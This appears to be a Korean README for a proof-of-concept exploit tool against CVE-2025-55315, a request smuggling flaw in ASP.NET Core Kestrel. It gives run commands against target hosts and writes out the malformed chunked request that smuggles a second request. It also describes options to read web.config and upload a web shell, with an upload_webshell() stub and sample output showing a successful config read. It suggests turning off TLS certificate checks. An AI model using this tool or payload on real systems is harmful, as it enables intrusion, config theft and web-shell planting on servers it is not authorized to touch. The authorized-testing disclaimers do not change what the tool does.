
CVE-2025-55315 PoC 악용
ASP.NET Core Kestrel을 위한 HTTP 요청 밀반입 공격 도구
본 도구는 승인된 보안 테스트 전용입니다!
CVE-2025-55315 (ASP.NET Core Kestrel HTTP 요청 밀반입 취약점)에 대한 전문 침투 테스트 도구입니다. 단일 대상 분석을 위해 설계되었으며 포괄적인 공격 기능을 제공합니다.
ASP.NET Core Kestrel 웹 서버의 치명적인 HTTP 요청 밀반입 취약점(CVSS 9.9/10)으로, 공격자가 다음을 수행할 수 있습니다:
영향을 받는 버전:
# Python 3.7 이상
python3 --version
# 외부 종속성 없음 - 표준 라이브러리만 사용
# 저장소 복제 또는 다운로드
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# 실행 가능하도록 설정
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
이 명령은:
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
시나리오: 프로덕션 서버가 취약한지 확인
python3 cve_2025_55315_PoC.py -t api.mycompany.com
예상 소요 시간: 30~60초
시나리오: 상세 출력을 포함한 포괄적인 엔드포인트 스캔
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
예상 소요 시간: 2~5분
시나리오: 특정 중요 엔드포인트 테스트
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
시나리오: 내부 HTTP 서버 테스트
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
필수 인자:
-t, --target 대상 호스트명 또는 URL (예: target.com)
선택 인자:
-p, --port 포트 번호 (기본값: SSL 443, 비 SSL 80)
-e, --endpoint 테스트할 특정 엔드포인트 (여러 번 사용 가능)
--no-ssl SSL/HTTPS 비활성화 (HTTP 사용)
--read-config web.config 파일 읽기 시도
--upload-shell 웹쉘 업로드 시도 (확인 필요)
-o, --output 보고서를 파일로 저장
-v, --verbose 상세 출력 활성화
--timeout 소켓 타임아웃(초) (기본값: 10)
-h, --help 도움말 메시지 표시
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
해석:
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
해석:
이 도구를 실행하기 전에 다음을 확인하십시오:
이 도구는 CVE-2025-55315를 악용하기 위해 잘못된 청크 전송 인코딩을 사용합니다:
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← 취약점: \r\n 대신 단독 \n 사용
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← 이것이 별도의 요청이 됨
Host: target.com
작동 원리:
\n을 줄 종결자로 인식 → 단일 요청으로 처리\n을 무시 → 밀반입된 GET을 별도 요청으로 처리| 서버 응답 | 해석 | 상태 |
|---|---|---|
400 Bad Request | Kestrel이 잘못된 청크를 거부함 | ✅ 안전 (패치됨) |
다중 HTTP/1.1 | 두 개의 별도 응답 수신 | ❌ 취약 |
500 또는 502 | 내부 서버 오류 | ⚠️ 취약 가능성 |
정상 200 OK | 요청 수락 | ⚠️ 불확실 |
[ERROR] Connection failed: [Errno 111] Connection refused
해결 방법:
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
해결 방법: 도구는 이미 인증서 확인을 비활성화합니다. 문제가 지속되면:
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
해결 방법:
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
설명:
정상적인 현상입니다. 취약한 시스템이 항상 파일 업로드를 허용하지는 않습니다.
Microsoft 보안 권고: https://github.com/dotnet/aspnetcore/issues/64033
NVD 데이터베이스: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
Praetorian 연구 ($10,000 버그 바운티): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Andrew Lock의 기술 분석: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
스크립트에서 COMMON_ENDPOINTS를 편집하십시오:
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# 여기에 엔드포인트 추가
]
upload_webshell() 메서드를 수정하십시오:
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- 여기에 사용자 정의 ASPX 웹쉘 작성 -->
'''
버그를 발견하거나 제안이 있으면:
-v-o debug.txt본 도구는 "있는 그대로" 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
저자:
❌ 불법 활동을 지지하지 않음
❌ 오용에 대해 책임지지 않음
❌ 어떠한 손해에 대해서도 책임지지 않음
❌ 법적 조언을 제공하지 않음
본 도구를 사용함으로써 귀하는 다음에 동의합니다:
✅ 승인된 시스템에서만 사용
✅ 모든 법적 책임 수락
✅ 모든 관련 법률 준수
✅ 윤리적 해킹 원칙 준수
무단 사용은 엄격히 금지되며 불법입니다!
이 도구는 다음을 위해 만들어졌습니다:
다음 용도로는 사용하지 마십시오:
교육 및 승인된 보안 테스트 전용
이 도구는 교육 목적 및 승인된 보안 테스트를 위해 제공됩니다. 상업적 사용, 재배포 또는 악의적 목적의 사용은 엄격히 금지됩니다.
╔══════════════════════════════════════════════════════════════════════╗
║ ║
║ 이 도구를 책임감 있고 합법적으로 사용하십시오! ║
║ ║
║ 무단 컴퓨터 시스템 접근은 범죄입니다. ║
║ 테스트 전 항상 서면 승인을 받으십시오. ║
║ 책임 있는 공개 관행을 따르십시오. ║
║ ║
║ 행복한 (합법적인) 해킹 되세요! ║
║ ║
╚══════════════════════════════════════════════════════════════════════╝